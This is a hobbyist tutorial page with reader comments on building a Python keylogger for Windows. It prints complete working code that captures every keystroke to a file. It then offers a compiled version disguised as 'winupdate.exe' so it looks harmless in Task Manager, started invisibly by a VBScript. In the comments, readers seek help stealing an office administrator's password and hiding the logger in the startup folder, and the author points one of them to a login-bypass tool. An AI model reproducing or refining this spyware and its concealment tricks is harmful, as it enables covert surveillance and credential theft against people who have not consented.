Simple Keylogger

52,375

38

36

About: Hello, my name is xp4xbox, a really old name that really has nothing to do with xbox consoles. Anyway I enjoy making programs and have several instructables on some of them. So far, I know VBScript, Batch, P...

Intro: Simple Keylogger

I have recently been making a much more advanced keylogger that can even send logs via gmail or ftp. So if you are interested, check the github project.

This is a simple keylogger that I made using python. I tried to make one in batch or vbs, but it is practically impossible. So I had to use python.

You all see on the internet, keyloggers, an then you download it and install it to spy or monitor someone (Windows 10 even has a built-in keylogger) . But the problem is, is that you probably also installed a ton of virus of other junk in the process.

I will show you how to make your own, or you can download mine below: (if you are unsure about downloading, I'll send you proof that it is not malicious)

Step 1: Installing Python...

Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install python and some modules. Download and install the following:

Python 2.7

PyHook

Pywin32

Step 2: Creating the Code...

Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:

import pyHook, pythoncom, sys, logging

# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()

Then save it as something.pyw

Step 3: Test...

Now double-click on the file you just created and test it out, then start typing.

When you want to stop logging, open up task manager and kill all the "python" processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

This is the end of the instructable for you. BUT if you want to see my keylogger, continue on...

If you have any questions/concerns please pm me or post a comment.

Step 4: My Keylogger

First extract keylogger.rar and open up the folder with the files.

You should see a bunch of random files, this is because when you compile a python program to a standalone .exe, you need all these files in the same directory as the program.

The only important files are "Run.vbs" and "winupdate.exe". winupdate.exe is the actual keylogger program. The reason why it is called "winupdate", is so nothing looks suspicious if the user opens up task manager.

For some reason when you compile a python program to a .exe, you don't have any option to make it run invisible, so to fix this, I created a small vbscript file called Run.vbs which simply launches winupdate.exe invisibly.

Step 5: Test...

Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that you have typed are logged.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

Step 6: Hope You Found This Helpfull

Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.

Have fun keylogging, but please don't use this program maliciously.

Share

Recommendations

  • Furniture Contest 2018

    Furniture Contest 2018
  • Fix It! Contest

    Fix It! Contest
  • Tiny Home Contest

    Tiny Home Contest

36 Discussions

0
None
DiegoC206

Question 23 days ago

Lo ejecuto en windows 10, pero no hace nada, no ejecuta tampoco en las tareas de windows. funciona en windows 10?

0
None
Killuminati_77

Question 5 weeks ago on Step 5

I downloaded your version of the program because I really dont know much about programing. It seemed to set up fine, I can see it running in task manager but nothing is getting logged in the keylogger file. It's just blank with a letter u and m. I'm using Windows 10 and a older hp laptop.

1 more answer
0
None
xp4xboxKilluminati_77

Reply 4 weeks ago

I am not sure, if it is still running then it should log characters. Are you using an different language keyboard?

0
None
LandalSeemsCool

Question 7 weeks ago

Hey, I had downloaded the keylogger you created and added my own stuff. I had set it up so the vbs file is downloaded into the startup file of the computer and the other files are hidden in a folder. Yet when I turn on the computer the vbs file can not find the logger, even with the right path typed in.

0
None
binary generation

Question 4 months ago

i have downloaded everything necessary and copied the script word for word and yet whenever i attempt to to run the script it says that py hook was not defined what does this mean and how do i fix it

thank you in advance

1 more answer
0
None
xp4xboxbinary generation

Answer 4 months ago

Try re-installing pyhook and make sure you install the correct one for your python version.

0
None
JayeshM22

Question 5 months ago on Step 6

That's fine. But i need to get admin password using the program. The logger is not logging when admin username and password is typed. that is, in my office they have put admin password for everything on my system, for eg: u require admin password for installing a software or making any major changes. I need to get this username ad password. But the program doenot log this on. Otherwise the program is fine. Could u pls help me with this as well. Because i really need the admin username and password.

1 more answer
0
None
xp4xboxJayeshM22

Answer 5 months ago

This program cannot really help you with that, unless somebody is typing it in while it is running, I would suggest just using something like KonBoot.

0
None
JayeshM22

Question 5 months ago on Step 6

This program is not working for administrator username and password. I need to get the admin username and password which will be asked while installing any software.

1 more answer
0
None
xp4xboxJayeshM22

Answer 5 months ago

This program does not need admin rights to be ran.

0
None
DženanT

6 months ago

I have done everything to step 3 as needed (on Windows). But I don't have any output.txt and when I start the Keylogger nothing happens and there aren't any such activities other than Idle.

1 reply
0
None
xp4xboxDženanT

Reply 6 months ago

Try running the built version.

0
None
DženanT

Question 6 months ago on Step 2

I'm new to this.A frind is theaching me and this is the first lesson. I don't know/can't find the

IDLE thing on Kali Linux (On a VM), do i have to donwload it ?

1 more answer
0
None
xp4xboxDženanT

Answer 6 months ago

This is windows only. It will not work on linux.

0
None
JacquesTati

1 year ago

Hello, I think I've found a bug on your, otherwise, amazing software. I'm required to write a lot in french for my work, and when your software is running, the accents aren't placed on the vowels, but immediately before instead. When I shut it down, the accents work fine again. I wonder if you could let me know how to fix this (I don't know anything about compiling and am just using your premade one). Kind regards and thank you for your work!

3 replies
0
None
JacquesTatiJacquesTati

Reply 1 year ago

I think maybe the best way would just have the accent keys ignored by the software, but still wouldn't know how to do it... Would be grateful for some pointers in the right direction.

0
None
xp4xboxJacquesTati

Reply 1 year ago

The simple way to put it is that the program only works with the default language of the keyboard. So when you are using accents it just logs whatever key the accent is on. For example if you type É which is the character right on top of the "/" you should get the "/" character appear. If you type "è" which is pressing the accent key than e, you should get the accent appear before.

The program just takes the raw input from the keyboard so there is no way to allow it to work for specific languages.

0
None
JacquesTatixp4xbox

Reply 1 year ago

It makes sense, but it not just registers the accents as separate, it actually forces the accents as separate when you're doing the actual writing on your work. Let's say I write "bistrô" in microsoft word. With the logger active, it would show bistr^o both in microsoft word and on the txt file with the register. That's what seems intriguing. I don't mind bistr^o on the logger file, it makes total sense, but it interferes with my work on microsoft word. It's like the script is imposing on my keyboard (outside of the logging realm). Anyway, you did a wonderful job with your script and are sharing it for free, so I can only say thank you, and that I'll be using whenever I need to write in english (but not when I work in french).